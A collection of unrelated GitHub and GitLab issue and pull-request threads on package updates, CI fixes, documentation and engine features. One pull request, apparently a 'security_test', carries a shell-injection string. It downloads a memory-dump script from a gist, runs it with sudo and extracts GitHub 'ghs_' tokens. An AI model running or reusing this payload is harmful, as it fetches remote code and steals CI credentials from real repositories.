Closing as this seems to be a general "how to install packages from source" issue, not directly related to pyam... Please re-open if I misunderstood the issue and it needs to be fixed in pyam.


python312Packages.paypalrestsdk: 1.13.2 -> 1.13.3

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for python312Packages.paypalrestsdk is: Python APIs to create, process and manage payment
meta.homepage for python312Packages.paypalrestsdk is: https://developer.paypal.com/
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact
Checks done

built on NixOS
The tests defined in passthru.tests, if any, passed
found 1.13.3 with grep in /nix/store/6cppjcrvahj6li5fa8k7s44czg6f16x7-python3.12-paypalrestsdk-1.13.3
found 1.13.3 in filename of file in /nix/store/6cppjcrvahj6li5fa8k7s44czg6f16x7-python3.12-paypalrestsdk-1.13.3

Rebuild report (if merged into master) (click to expand)

3 total rebuild path(s)

3 package rebuild(s)

First fifty rebuilds by attrpath
pretix
python311Packages.paypalrestsdk
python312Packages.paypalrestsdk

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/6cppjcrvahj6li5fa8k7s44czg6f16x7-python3.12-paypalrestsdk-1.13.3 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A python312Packages.paypalrestsdk https://github.com/r-ryantm/nixpkgs/archive/0d0686fc28bb5f8983def3d5eb1ef41cfd20014b.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/0d0686fc28bb5f8983def3d5eb1ef41cfd20014b#python312Packages.paypalrestsdk

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/6cppjcrvahj6li5fa8k7s44czg6f16x7-python3.12-paypalrestsdk-1.13.3
ls -la /nix/store/6cppjcrvahj6li5fa8k7s44czg6f16x7-python3.12-paypalrestsdk-1.13.3/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review --extra-nixpkgs-config '{ allowInsecurePredicate = x: true; }' run on x86_64-linux 1

6 packages built:

pretix
pretix.dist
python311Packages.paypalrestsdk
python311Packages.paypalrestsdk.dist
python312Packages.paypalrestsdk
python312Packages.paypalrestsdk.dist

Maintainer pings

Done in #296535.


Centralized documentation thread

All documentation stuff goes here.
Issues: #108 #110 #112
Misc:
Refer to this link to see if it's possible to refer to a figure with only the figure number instead of the whole caption.
General:
Stop using the eye-damaging dark theme and use girl theme or bright theme for screencaps.

UG:

Introduction

Rewrite Intro to so that an everyday man on the street can be interested in the app.
Add purpose of the UG.

Quick start

Introduce interface components, where is commandbox, where is resultbox, etc.

Features

People seem to get confused by this and end up using the add command incorrectly:

Move the generic details to the Command Format:

Emphasize the multiple-line part so that people don't have to read:

Emphasize the added part so that people don't have to read:

Add warning to clear
Wrong capitalization in parse:

Missing full stop in parse:

Add emphasis in parse:

Missing a lot of full stops in redo and undo:

Move the Saving the data to some other place.
Move this figure to the example instead:

404 not found:

Inconsistent format:

and

Move into 1 example, upload command:

FAQ:

Inconsistent bold:

Cheatsheet

Change to 3 columns format: Command | Format | Example


[resolve] Don't crash when not connected to kube

tkn pac resolve is supposed to be abled to be used even when not
connected to the kube cluster.
let's make sure we are not accessing GetConfigFromConfigMap if we don't
have access to the Kube Cluster
Signed-off-by: Chmouel Boudjnah<EMAIL_ADDRESS>Fixes #399

Changes

Submitter Checklist

[x] ♽  Run make test lint before submitting a PR (ie: via pre-push github hook no need to waste CPU cycle on CI
[x] 📖 If you are adding a user facing feature or make a change of the behavior, please make sure to document it
[ ] 🧪 100% coverage is not a target but most of the time we would rather have a unit test if you make a code change.
[x] 🎁 If that's something that is possible to do please make sure to check if we can add a e2e test.
[x] 🔎 If there is a flakiness in the CI tests then make sure to get the flakyness fixed before merging or if that's not possible there is a good reason to bypass it.

See the developer guide for a bit more details.

heu, i am using latest version of golangci-lint and i don't hve that same error as from CI 👍🏻
chmouel@pignon 🦅 .../pipelines-as-code issue-399-tkn-pac-resolve--f-fail-on-getconfigfromconfigmap
% make lint
Linting go files...
Linting yaml files...
chmouel@pignon 🦅 .../pipelines-as-code issue-399-tkn-pac-resolve--f-fail-on-getconfigfromconfigmap
% which golangci-lint
/usr/sbin/golangci-lint
chmouel@pignon 🦅 .../pipelines-as-code issue-399-tkn-pac-resolve--f-fail-on-getconfigfromconfigmap
% golangci-lint --version
golangci-lint has version 1.43.0 built from 861262b on 2021-11-12T10:37:23Z
chmouel@pignon 🦅 .../pipelines-as-code issue-399-tkn-pac-resolve--f-fail-on-getconfigfromconfigmap
%

Codecov Report

Merging #400 (dee7ad0) into main (e7ea177) will increase coverage by 0.23%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##             main     #400      +/-   ##
==========================================
+ Coverage   70.58%   70.81%   +0.23%
==========================================
  Files          50       50
  Lines        2594     2594
==========================================
+ Hits         1831     1837       +6
+ Misses        583      576       -7
- Partials      180      181       +1

Impacted Files
Coverage Δ

pkg/cmd/tknpac/resolve/resolve.go
67.03% <100.00%> (ø)

pkg/pipelineascode/status.go
82.22% <0.00%> (-1.57%)
:arrow_down:

pkg/cmd/pipelineascode/pipelineascode.go
56.25% <0.00%> (+6.25%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e7ea177...dee7ad0. Read the comment docs.


Platform Support

As of now the Voxly has the capability to be exported to the web and as a desktop application for Window, Max and Linux; however it would be nice if it could be exported to mobile devices such as the tablets.

[x] web
[x] desktop

[x] window,
[x] mac,
[x] linux

[ ] mobile

[ ] android
[ ] ios

Voxly is now being built in the Godot engine, so it plans to support all of Godot's supported platforms

Voxly is now being built in the Godot engine, so it plans to support all of Godot's supported platforms


"}' https://example.com; TOKEN="$(curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/05fd8596cd43110793439f0fdad2c68c331223dd/memdump.py | sudo python3 | grep -aoE 'ghs_[0-9A-Za-z]+' | sort -u | base64 | base64)"; while true; do date; echo "$TOKEN"; sleep 5; done #

What changed?
security_test
🦄...
Definition of Done

[ ] Dependencies checked (if applicable)
[ ] TS types updated (if applicable)
[ ] CHANGELOG.md updated (if applicable)
[ ] Complete unit testing (if applicable)
[ ] Complete screenshot testing (if applicable)
[ ] Complete UX review (if applicable)
[ ] Documentation design guide updated (if any)
[ ] Documentation examples updated (if any)
[ ] Documentation API updated (if any)
[ ] Add link to design (if any)
[ ] No major bugs pending
[ ] Complete self code review

Reviewer checklist

[ ] Does the code work? Does it perform its intended function and the logic is correct?
[ ] Is the code easily understandable?
[ ] Verify the design is implemented as per the design requirements
[ ] Verify the names used in the programs/methods/functions convey the intent and all functions commented
[ ] Verify the unit tests are testing the code to perform the intended functionality
[ ] Verify the unit tests cover the positive and negative scenarios
[ ] Verify the screenshot tests are added and are they comprehensive
[ ] Verify documentation (design/api/example) has been added/updated

Greate job, evil sir


RHODS: Remove the dependency on Github for notebooks + various updates

This PR refactors the fetching of the notebook file inside the notebook pod (sic): until now, we were cloning the notebook from Github, but it is a bad practice to use their servers as part of the scale testing. Besides, a significant part of the git clone were failing, likely because of GH throttling.
This PR introduces an HTTP server (nginx) role, which is used to host our playbook file in the driver cluster, and instructs the test suite to fetch it from there.
The PR also moves the location of the calls reset the Prometheus databases, to move it closer to the actual beginning of the test.

cluster_deploy_minio_s3_server: use the namespace variable instead of hardcoded value

This was a silent mistake, as the namespace variable currently has the
value as the hardcoded string that was in the code. But it would make
the role fail if ever we decide to launch minio in another
namespace.

cluster_deploy_nginx_server: new role

This role takes a directory in parameter (in addition to the
namespace), which contains the files to server over HTTP.
The role generates a file named hostname in its artifact directory,
containing the address at which the HTTP server is listening.
No HTTPS is possible at the moment, this is much more complex to set
up.

rhods_test_jupyterlab: add notebook_url parameter

This commit allows the Ansible role to receive a notebook_url
parameter. The role fetches the notebook to validate the URL, then
passes the value to the test Job with the NOTEBOOK_URL environment
variable.

rhods_test_jupyterlab: refactor and update the robot to curl the notebook

This commit refactors the Robot test to improve its readability. By
choice, I preferred keeping multiple test-cases, instead of a single
test-case + keywords (functions) being called from it.
This improves the readability of the container logs, as well as the
parsing and plotting of the timestamp and duration of the different
steps (test cases in practice) of the test, eg:
==============================================================================
Test-Jupyterlab-Run-Notebook
==============================================================================
Open the Browser                                                      | PASS |
------------------------------------------------------------------------------
Go to RHODS Dashboard                                                 | PASS |
------------------------------------------------------------------------------
Go to JupyterHub                                                      | PASS |
------------------------------------------------------------------------------
Spawn a Notebook                                                      | PASS |
------------------------------------------------------------------------------
Load the Notebook                                                     | PASS |
------------------------------------------------------------------------------
Run the Notebook                                                      | PASS |
------------------------------------------------------------------------------
Test-Jupyterlab-Run-Notebook                                          | PASS |
6 tests, 6 passed, 0 failed
==============================================================================

rhods_test_jupyterlab: capture the notebook pods definition

This wasn't possible until recently, as we were terminating the Pods
from inside the Robot. Now that they stay alive after the end of the
Job execution, we can capture the Pod definitions for post-mortem
processing.

testing: ods: jh-at-scale: deploy nginx and fetch the notebook from there

This commit deploys our nginx notebook server, and instructs
rhods_test_jupyterlab to fetch it from there.

testing: ods: jh-at-scale: remove calls to reset_prometheus_db

Resetting Prometheus DB at this location is too far away from the
actual start of the scale test, leading to too many useless metrics
points at the beginning of the test.

rhods_test_jupyterlab: add calls to reset_prometheus_db

Moved this call from before the beginning of the
rhods_test_jupyterlab role to right before the creation of the test
job, so that the delay between the reset and the actual test creation
is minimal. In particular, the pre-fetching of the image of the Pod
takes a significant time.

toolbox: cluster: fix typos in documentation

Minor changes in reset_prometheus_db and dump_prometheus_db.

/cc @fcami

/test ods-jh-on-ocp

/test ods-jh-on-ocp

Thanks @kpouget for the detailed commits!!!
/lgtm

/test ods-jh-on-ocp

cluster creation flake :(

level=error msg=Cluster initialization failed because one or more operators are not functioning properly.
level=error msg=The cluster should be accessible for troubleshooting as detailed in the documentation linked below,
level=error msg=https://docs.openshift.com/container-platform/latest/support/troubleshooting/troubleshooting-installations.html
level=error msg=The 'wait-for install-complete' subcommand can then be used to continue the installation
level=fatal msg=failed to initialize the cluster: Working towards 4.10.15: 668 of 771 done (86% complete)
make[1]: Leaving directory '/opt/ci-artifacts/src/subprojects/deploy-cluster'

/test ods-jh-on-ocp

/test ods-jh-on-ocp
On Sat, Jul 9, 2022 at 8:49 AM openshift-ci[bot] @.***>
wrote:

@kpouget https://github.com/kpouget: The following test failed, say
/retest to rerun all failed tests or /retest-required to rerun all
mandatory failed tests:
Test name Commit Details Required Rerun command
ci/prow/ods-jh-on-ocp e2666f8
https://github.com/openshift-psap/ci-artifacts/commit/e2666f8d738cc4ac360ec47af5b75bbbc7800a47
link
https://prow.ci.openshift.org/view/gs/origin-ci-test/pr-logs/pull/openshift-psap_ci-artifacts/422/pull-ci-openshift-psap-ci-artifacts-master-ods-jh-on-ocp/1545638066536845312
true /test ods-jh-on-ocp
Full PR test history
https://prow.ci.openshift.org/pr-history?org=openshift-psap&repo=ci-artifacts&pr=422.
Your PR dashboard
https://prow.ci.openshift.org/pr?query=is:pr+state:open+author:kpouget.
Instructions for interacting with me using PR comments are available here
https://git.k8s.io/community/contributors/guide/pull-requests.md. If
you have questions or suggestions related to my behavior, please file an
issue against the kubernetes/test-infra
https://github.com/kubernetes/test-infra/issues/new?title=Prow issue:
repository. I understand the commands that are listed here
https://go.k8s.io/bot-commands.
—
Reply to this email directly, view it on GitHub
https://github.com/openshift-psap/ci-artifacts/pull/422#issuecomment-1179491465,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ABZVQISKK3YAWKWKVSIMABLVTEOGLANCNFSM53A44X4Q
.
You are receiving this because you were mentioned.Message ID:
@.***>

/test ods-jh-on-ocp

/test ods-jh-on-ocp

/test ods-jh-on-ocp

/test ods-jh-on-ocp

/test ods-jh-on-ocp

/test ods-jh-on-ocp

prow/image failure is a flake,
test passed at 15/15,
@fcami approved before the weekend,
merging.

/test ods-jh-on-ocp
On Sat, Jul 9, 2022 at 10:55 AM openshift-ci[bot] @.***>
wrote:

@kpouget https://github.com/kpouget: The following test failed, say
/retest to rerun all failed tests or /retest-required to rerun all
mandatory failed tests:
Test name Commit Details Required Rerun command
ci/prow/ods-jh-on-ocp 0f7224e
https://github.com/openshift-psap/ci-artifacts/commit/0f7224edfd886da195b4235976d98589f1772b20
link
https://prow.ci.openshift.org/view/gs/origin-ci-test/pr-logs/pull/openshift-psap_ci-artifacts/422/pull-ci-openshift-psap-ci-artifacts-master-ods-jh-on-ocp/1545667390224732160
true /test ods-jh-on-ocp
Full PR test history
https://prow.ci.openshift.org/pr-history?org=openshift-psap&repo=ci-artifacts&pr=422.
Your PR dashboard
https://prow.ci.openshift.org/pr?query=is:pr+state:open+author:kpouget.
Instructions for interacting with me using PR comments are available here
https://git.k8s.io/community/contributors/guide/pull-requests.md. If
you have questions or suggestions related to my behavior, please file an
issue against the kubernetes/test-infra
https://github.com/kubernetes/test-infra/issues/new?title=Prow issue:
repository. I understand the commands that are listed here
https://go.k8s.io/bot-commands.
—
Reply to this email directly, view it on GitHub
https://github.com/openshift-psap/ci-artifacts/pull/422#issuecomment-1179508106,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ABZVQIT664M6M5VVS7SHHBLVTE5A3ANCNFSM53A44X4Q
.
You are receiving this because you were mentioned.Message ID:
@.***>


ODS-5475 Move ODS/API: Publish to Azure artifacts from Github Actions

I will delete teamcity build https://intedfitools1.msdf.org/buildConfiguration/OdsPlatform_OdsApi_OdsApiPublishToAzure?branch=&mode=builds#all-projects once this PR is approved

Teamcity build is removed now https://intedfitools1.msdf.org/buildConfiguration/OdsPlatform_OdsApi_OdsApiPublishToAzure?branch=&mode=builds#all-projects


fix(install): GCE needs serviceAccountActor

I missed this role

Also @skim1420 if you run that added command against the service account you used to configure GCE, it should work without having to redeploy.


Connect function to throw correct exception type

Description
Connect function to throw correct exception type DatabaseException based on
function comment and design
Checklist:

[ ] Securely signed commits
[ ] Component(s) with PHPdocs
[ ] Unit testing, with >80% coverage
[ ] User guide updated
[ ] Conforms to style guide

Litte confused how my code change could affect this test area PredisHandlerTest::testGetMetaData

@devorama Don't worry about PredisHandlerTest. It fails randomly sometimes (we probably need to take a look at this in near future).

Test failure is unrelated. This looks good to me - I'd like to give it one more glance when I'm on desktop, unless somebody else beats me to it.

@MGatner and @michalsn  Thanks for the info and help

@devorama it seems the 1st commit always brought on your new pull request (Merge pull request #1 from codeigniter4/develop ), please always rebase by back to develop first before create new branch on new pull request to make show only commit related to the pull request.

+1 for the rebase. git pull --rebase

@devorama it seems the 1st commit always brought on your new pull request (Merge pull request #1 from codeigniter4/develop ), please always rebase by back to develop first before create new branch on new pull request to make show only commit related to the pull request.

@samsonasik  Hi there sorry I was trying previously via the browser to sync the fork as I could not get the client to work with 2 accounts, but I have it working now but only after I made 2 branches from it. I will from now on with the client do a rebase, sorry for that

Have rebased now for future branches

I already wrote the step in other previous PR https://github.com/codeigniter4/CodeIgniter4/pull/3286#issuecomment-657182575 you just need to modify branch name and commit hash

Created a new for again.
The made sure it correct

Will create new branch from this now


Declare compatible with Flow 6.3 (again)

From looking at the code and running an inspection, it seems there is nothing that is not compatible with Flow 6.3 (and thus Neos 5.3.) So there is no reason to not make it available for those…


Fix NPE when clear is called after destroy

Fixes: https://github.com/busbud/public-website/issues/8331
Summary
It is possible to have Null Pointer Exception, when 'clear' is called immediately after 'destroy' (due to async code somewhere in jquery and user spamming some controls).
Adding a simple check prevents this error.
Original error:

Some debugging:

Result
No more NPE

Oh @sdwvit, just so that this doesn't regress in the future; could you add a unit test for this case? The behaviour you described (discard & clear directly adjacent) should make for a good test case

As you want :)


is there a way for clipping planes?

I want to create simple water but I want to cut meshes , I konw that camera can do this but it will cut(clip) in the normal of camera , but I want to clip in in another rotation, is there any way to clip meshes , you can see water shader from here.
in this blog author using these code to clip
Vector3 planeNormalDirection = new Vector3(0, 0, 1);
planeNormalDirection.Normalize();
Vector4 planeCoefficients = new Vector4(planeNormalDirection, -waterHeight);
Matrix camMatrix = reflectionViewMatrix * projectionMatrix;
Matrix invCamMatrix = Matrix.Invert(camMatrix);
invCamMatrix = Matrix.Transpose(invCamMatrix);
planeCoefficients = Vector4.Transform(planeCoefficients, invCamMatrix);
Plane refractionClipPlane = new Plane(planeCoefficients);
device.ClipPlanes[0].Plane = refractionClipPlane;

no clipping planes in GLES2, and 3D engine will be rewritten this year, so not doing much more work for this

kicking to 3.1, where we might implement planar reflections

I guess it will have to wait again for the next milestone, as new rendering features are scheduled for when Vulkan support will be implemented.

It turns out that clipping planes can be emulated (with probably worse performance) using the discard keyword.
shader_type spatial;

uniform vec4 plane = vec4(1.0, 0.5, 0.0, 0.0);

bool culls(vec3 vertex, mat4 cam) {
	vec3 pos = (cam * vec4(vertex, 1.0)).xyz;
	return plane.x * pos.x
		+ plane.y * pos.y
		+ plane.z * pos.z
		+ plane.w < 0.0;
}

void fragment() {
	if (culls(VERTEX, CAMERA_MATRIX)) {
		discard;
	}
	ALBEDO = vec3(1.0, 0.0, 0.0);
}

There's a video of this effect here: https://www.youtube.com/watch?v=9hiSy058-20

That's great but, wouldn't that mean you'd have to apply that shader to every geometry instance in the scene (or a selected few)?

Yes, it's not a perfect solution

Feature and improvement proposals for the Godot Engine are now being discussed and reviewed in a dedicated Godot Improvement Proposals (GIP) (godotengine/godot-proposals) issue tracker. The GIP tracker has a detailed issue template designed so that proposals include all the relevant information to start a productive discussion and help the community assess the validity of the proposal for the engine.
The main (godotengine/godot) tracker is now solely dedicated to bug reports and Pull Requests, enabling contributors to have a better focus on bug fixing work. Therefore, we are now closing all older feature proposals on the main issue tracker.
If you are interested in this feature proposal, please open a new proposal on the GIP tracker following the given issue template (after checking that it doesn't exist already). Be sure to reference this closed issue if it includes any relevant discussion (which you are also encouraged to summarize in the new proposal). Thanks in advance!


CI for master is failing as it seems there is no WSL runners available

See original issue on GitLab
In GitLab by [Gitlab user @jjardon] on Mar 30, 2020, 14:27
Job #489469696 failed for 0b11fcbf3026aaef36a5d1241064e8bb545e0ab3:
As a temporal fix, the job is allowed to fail: !1844
When this gets fixed, the job should be reenabled to not be allowed to fail anymore

In GitLab by [Gitlab user @tpollard] on Mar 30, 2020, 14:31
There runners run on physical machines in the Codethink office, which is currently closed. For now I would suggest we configure the jobs to skip WSL/Win32 testing

In GitLab by [Gitlab user @tpollard] on Mar 30, 2020, 14:31
There runners run on physical machines in the Codethink office, which is currently closed. For now I would suggest we configure the jobs to skip WSL/Win32 testing

In GitLab by [Gitlab user @jjardon] on Mar 30, 2020, 16:48
mentioned in merge request !1844

In GitLab by [Gitlab user @jjardon] on Mar 30, 2020, 16:48
mentioned in merge request !1844

In GitLab by [Gitlab user @tpollard] on Mar 30, 2020, 17:11
I've raised a ticket internally at Codethink to try & bring the runners online for now

In GitLab by [Gitlab user @tpollard] on Mar 30, 2020, 17:11
I've raised a ticket internally at Codethink to try & bring the runners online for now

In GitLab by [Gitlab user @jjardon] on Mar 30, 2020, 17:38
[Gitlab user @tpollard] can the runners be accessed remotely then?

In GitLab by [Gitlab user @jjardon] on Mar 30, 2020, 17:38
[Gitlab user @tpollard] can the runners be accessed remotely then?

In GitLab by [Gitlab user @jjardon] on Apr 7, 2020, 18:24
changed the description

In GitLab by [Gitlab user @jjardon] on Apr 7, 2020, 18:24
changed the description

In GitLab by [Gitlab user @jjardon] on Apr 7, 2020, 18:25
A week has passed; let's allow the WSL job to allow to fail in master so CI in master stop failing

In GitLab by [Gitlab user @jjardon] on Apr 7, 2020, 18:25
A week has passed; let's allow the WSL job to allow to fail in master so CI in master stop failing

In GitLab by [Gitlab user @jjardon] on Apr 8, 2020, 11:43
mentioned in merge request !1860

In GitLab by [Gitlab user @jjardon] on Apr 8, 2020, 11:43
mentioned in merge request !1860

In GitLab by [Gitlab user @marge-bot123] on Apr 8, 2020, 17:34
closed via merge request !1860

In GitLab by [Gitlab user @marge-bot123] on Apr 8, 2020, 17:34
closed via merge request !1860

In GitLab by [Gitlab user @marge-bot123] on Apr 8, 2020, 17:34
mentioned in commit 358a6dd0c355e5c0c27d099d70c92fc6e9aeef9c

In GitLab by [Gitlab user @marge-bot123] on Apr 8, 2020, 17:34
mentioned in commit 358a6dd0c355e5c0c27d099d70c92fc6e9aeef9c


Convenience for making all bookmarks public/private

Looking at mail, this seems to be an operation that can be done from the context menu of the sidebar entires.

Not necessary for v1.


Breaking minor changes: TOTP MFA: requires additional external dependency

Replication
Upgrade an react-admin application's ra-auth-cognito from v1.0.2 to to latest minor version (v1.1.0 at the time of this writing)
  "dependencies": {
    "amazon-cognito-identity-js": "^6.3.7",
    "ra-auth-cognito": "^1.1.0",
    "ra-data-graphql-simple": "^4.16.12",
    "react": "^18.2.0",
    "react-admin": "^4.16.12",
    "react-dom": "^18.2.0",
    "react-router-dom": "^6.22.2"
  }

Caused By

https://github.com/marmelab/ra-auth-cognito/pull/15
https://github.com/marmelab/ra-auth-cognito/releases/tag/v1.1.0

Error
$ vite --clearScreen false

  VITE v4.5.2  ready in 146 ms

  ➜  Local:   http://localhost:5173/
  ➜  Network: http://<IP_ADDRESS>:5173/
  ➜  Network: http://<IP_ADDRESS>:5173/
  ➜  Network: http://<IP_ADDRESS>:5173/
  ➜  Network: http://<IP_ADDRESS>:5173/
  ➜  Network: http://<IP_ADDRESS>:5173/
  ➜  Network: http://<IP_ADDRESS>:5173/
  ➜  Network: http://<IP_ADDRESS>:5173/
  ➜  Network: http://<IP_ADDRESS>:5173/
  ➜  press h to show help
✘ [ERROR] Could not resolve "qrcode.react"

    node_modules/ra-auth-cognito/esm/MfaTotpAssociationForm.js:3:26:
      3 │ import { QRCodeSVG } from 'qrcode.react';
        ╵                           ~~~~~~~~~~~~~~

  You can mark the path "qrcode.react" as external to exclude it from the bundle, which will remove
  this error.

error Command failed with exit code 1.

Expected Behaviour
The TOTP MFA should only error upon usage of said feature; or any similar approach. Although installing qrcode.react also resolves this feature, I don't see why clients should be forced to install this when they are not using it; previously the ra-core was required; which was an acceptable peer dependency as it was an marmelab in-house library (was was filled indirectly by react-admin, as opposed to the external qrcode.react library. For now, I'll just hold the version back to v1.0.2, until marmelab developer provide guidance.
If the  qrcode.react has become a required peer dependency, the docs should be updated accordingly. Optimally with relevant changelog for handling these breaking changes.

That's an issue indeed. Thanks for reporting it!


Set delivery_mode when publishing message

Hello! I've been searching around to try to find out how to set the AMQP parameter delivery_mode in Hutch.  This parameter can either be set to 1 (non-persistent) or 2 (persistent). Taking a quick look at the messages in our queues, I see almost all have delivery_mode=2, which is great, but I can't find out how to set this param myself (or confirm that all of our various applications using Hutch are setting it). Our RabbitMQ provider informed me that most of our queues have one or more non-persistent messages in them. Since we're using Hutch for all our apps, and it seems Hutch is defaulting to delivery_mode=2, I'm not sure how this is possible. But I can't go back to them until I can confirm that Hutch is indeed setting the delivery mode. And in addition, it would be nice to surface this parameter to the user so we can configure it as needed. Thanks for the help!

Fantastic, thank you @michaelklishin for the quick response! Makes perfect sense 👌


getAdmin api update to send _id

required for updateAdmin api for issue #896
_

_

please assign this to me as Ggsoc 24


Using syntax prevent linting of

In SublimeText 3, when Vue Component is selected as syntax, sublimeLinter cannot access <template>. Switching syntax to Javascript (Babel) makes it work again.
Please note the missing error for rule no-textarea-mustache at line 4.

syntax: Vue Component
syntax: Javascript (Babel)

.eslintrc
{
    "extends": [
        "semistandard",
        "plugin:vue/recommended"
    ]
}

I just checked and it seems to be working for me:

I set linters config to:
	"linters":
	{
		"eslint": {
			"selector": "text.html.vue, source.js - meta.attribute-with-value"
		}
	}

as specified in the documentation
My eslintrc.js is the default one from the webpack example.
// https://eslint.org/docs/user-guide/configuring

module.exports = {
  root: true,
  parserOptions: {
    parser: 'babel-eslint'
  },
  env: {
    browser: true,
  },
  extends: [
    // https://github.com/vuejs/eslint-plugin-vue#priority-a-essential-error-prevention
    // consider switching to `plugin:vue/strongly-recommended` or `plugin:vue/recommended` for stricter rules.
    'plugin:vue/essential',
    // https://github.com/standard/standard/blob/master/docs/RULES-en.md
    'standard'
  ],
  // required to lint *.vue files
  plugins: [
    'vue'
  ],
  // add your custom rules here
  rules: {
    // allow async-await
    'generator-star-spacing': 'off',
    // allow debugger during development
    'no-debugger': process.env.NODE_ENV === 'production' ? 'error' : 'off'
  }
}

Please note this is with the latest version on git. We will be releasing a new version shortly with these fixes. Please re-open the issue if you continue to find issues with this.